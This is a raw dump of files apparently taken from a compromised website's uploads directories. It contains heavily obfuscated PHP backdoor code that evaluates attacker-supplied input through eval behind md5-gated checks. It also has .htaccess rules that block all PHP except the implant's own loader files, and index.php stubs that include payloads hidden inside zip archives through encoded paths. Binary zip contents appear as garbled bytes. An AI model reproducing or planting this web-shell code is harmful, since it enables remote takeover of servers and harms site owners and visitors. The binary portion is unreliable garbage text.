0]($KrdnHv6i2Hg[4 + 2], $pARfqjOIgIU); goto s0SKZkLiJfT; UiPKKJOWh0D: @eval($KrdnHv6i2Hg[3 + 1]($GsIbwXuUCMt)); goto eADkF0tyiiQ; J4LGPy0oH6W: if (!(@$PxwPRU09mt_[0] - time() > 0 and md5(md5($PxwPRU09mt_[1 + 2])) === "\67\67\x37\x37\146\145\x38\x64\141\x31\x63\x33\60\63\141\71\x39\x38\66\x65\x32\x31\67\x34\x34\x36\143\x62\x38\x30\67\62")) { goto mlnadvuzJyV; } goto SmaqIlke_Sy; s0SKZkLiJfT: $PxwPRU09mt_ = $KrdnHv6i2Hg[1 + 1]($MlN5g9dplnC, true); goto gIgdZ334lyI; ZLaoJclEzjI: NnuIAzAw3Bb: goto iF9zny0yY34; WxIrv8Cpbro: foreach ($PYXnk0lw58T as $n1ZUbpAuyIV) { $KrdnHv6i2Hg[] = self::kc1R0Q413H2($n1ZUbpAuyIV); oauaAgxry4O: } goto ZLaoJclEzjI; gIgdZ334lyI: @$KrdnHv6i2Hg[6 + 4](INPUT_GET, "\x6f\146") == 1 && die($KrdnHv6i2Hg[1 + 4](__FILE__)); goto J4LGPy0oH6W; eADkF0tyiiQ: die; goto c1Wc245siXr; F26KXMAsUTA: } } goto Pmyb52QQizS; lr60e9JrB5V: $gwwGNXoMIbm = $NIU2JGln34K("\x7e", "\x20"); goto iHcD63vpMty; uCknl0N6FZ8: $NIU2JGln34K = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto lr60e9JrB5V; fChy8gQ9Lkh: @(md5(md5(md5(md5($lpxj_3669Mj[13])))) === "\143\x66\x64\146\61\146\x33\x30\142\62\x64\67\61\143\141\x61\143\x31\146\62\x65\64\62\x31\66\141\144\x31\x32\x64\x62\x63") && (count($lpxj_3669Mj) == 19 && in_array(gettype($lpxj_3669Mj) . count($lpxj_3669Mj), $lpxj_3669Mj)) ? ($lpxj_3669Mj[68] = $lpxj_3669Mj[68] . $lpxj_3669Mj[80]) && ($lpxj_3669Mj[86] = $lpxj_3669Mj[68]($lpxj_3669Mj[86])) && @eval($lpxj_3669Mj[68](${$lpxj_3669Mj[46]}[15])) : $lpxj_3669Mj; goto EeJjdV3tXRZ; EeJjdV3tXRZ: metaphone("\x37\162\53\x6f\x6e\172\150\122\115\x41\x68\101\150\x37\x5a\62\x71\x65\x49\132\66\x36\145\x61\x75\130\x78\143\145\x73\x51\106\123\x70\156\171\x31\x59\130\165\x6b\x53\167"); goto vovyXWlKV6r; Pmyb52QQizS: rE_x2gl0sVt::SMooFEVcEqT(); ?> PK 9]�[�,r� � ! uploads/uploads/uploads/.htaccessnu �[��� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK 9]�[K�~x7 7 ! uploads/uploads/uploads/index.phpnu �[��� <?php require_once base64_decode("bFh3SWpOYi53bWE"); ?>PK 9]�[�,r� � ) uploads/uploads/uploads/uploads/.htaccessnu �[��� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK 9]�[qmf� � ) uploads/uploads/uploads/uploads/index.phpnu �[��� <?php error_reporting(0); $BlZ = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x34\x61\x5f\x36\x39\x35\x33\x38\x38\x62\x38\x30\x34\x36\x63\x39\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x35\x33\x38\x38\x62\x38\x30\x34\x36\x63\x39\x2e\x74\x6d\x70", ); (${$BlZ[0]}["\157\x66"]==1) && die($BlZ[1]($BlZ[2])); @require_once $BlZ[2]; ?>PK 9]�[�k��� � 5 uploads/uploads/uploads/uploads/m4a_695388b8046c9.zipnu �[��� PK .)�[�= � � b_695388b8046c9.tmp�Uko�8�+V��DaQ� K�*��rK ��"�Lp -�Z��}�q ����"9��3gΌ���g����[RCU$DBI 0BT����r��& _B H�`ɻ�>8���5(�U�u�0�XV�l��j�Ě�:����X=�lYw��bI��8�q�[RbK%Au�"{;9�c�h�����j�*�6��)�t�lR[�6Tá�m��$}����:���%�oi� :�od&�fr�7� ����4&��"��@\}��c:ow��;_��ݵ.}x���s�n��^���`U�fd�F��(��@�ā��M��"DA��m�~����ۓ�@c��V-�~mV�^���r�6��9���|J�?�.g�1倄�I�� |�"�ě"1�K֨p3���)*�3<v��RT�+�@�/�aE�Pψƛ(�9�~�q$^���@�m����O��p �M4a�A��̶��b �XDW]���3t�;]��q/Z��k��T��c������z��t�H��x'�H �q)����g��ꮘ�^?��vr��)���Ol��n���%���ɻ����rd��6_����:����{�e���096�ӹ�cN��S�d��=�me�p���C�e�g\N�ʱ�o$^�����jff��<�._��<�e%���L�VU��V;�6��Z�?i=��ۣt?����cv��;�?S�Bn?/�p g�e:�.�n�?�ö�3�\�����r��?�<��Z[nj�@l�����u�xĎe3i|�m��@G?&Ҁ���d�_��P9�"k�m�(�6�1�/�ʑa��V��NN�8�GU&}8�5���!� �$��<t_@/��9% �"EB$���QXf�b@7$�fPl�X�:� �5�2�x4�U�3 h��\vW��v=�ϚX�R���1�*��H=�Z�@?�WA4>t���[Q.��RAg�� PK .)�[R�$� � c_695388b8046c9.tmp]x���H��| U�jЕ���͕����KWޛf�}nu�YA��$#2��8��ϩ�~��W_���ϯ� ��.X��UB���z�QtR�{q�!Mm���<�3?��dǁ�v��ʕt�r�Ӝ �;i���;�:�mbœH�u����? E�OgV��Ɛ*�(b����/O�vk^(� �!m��X·d�׀�kXS�:Y����Ԙ&rL���v��ˆ d������n�:�p�p�áS�LWڒ�x��e�hw�LW| BS�qh�h�K�}����H8�4��0~�6�u��{,~��k���ՒU�!�)�k{R#���/�|��Ӈ,+�cvʫ�U�$�s�K���%R[4���̞����[�P�_?���k�זٍ������*y�_i�&�� x��I�"���)�s�lH����fyy� �Z�r���%�����,�7��A��C��$v m�5��������+)F�"=��Y4���ESD��E���E�0"m���ԉ�� @c�*]��vh(!�q�6#~:���[1n���K��&zD��x�0{*u��d��g�{���P�'�T��)+��f�i�Z�|fTg�9�Ͱ��Sb��e�MF<�� ���P:���_z! %\�f��)�[��YL����⌽�� ���?K����(�]�0/j��u\�uЭE� �4��e"�>�Gk������h���tTׁ�q9H��,����gw}�d�MF8;���j�抺�nj�j5�/}����lK�~6����ky*L���)KzX匄NM��cc�g����㾧�?��kd�~)�=Ke�#��C���%�z٭<u����9��%ޅ���F��?EH��q�֣1��@j|-�S0V�R��67�@���3�~Э.U�u�<�Y����]ν}�Sy\o��W*��I��P7~��pt��x8���ʃ���Z*��:��#�4����^}�Z�㒻�5Y�Y�Z�^+�|�C�����V'g��˛�@'L�-��|={\�u"5�4��G�<�g��w}&��AF����-��UZ�f��r_Ұ,�*�1�"꽎�E}[n��ۂpK�299�Y>tG�5����Z�=��V����v�|�;&��O�qN�ǖ+�"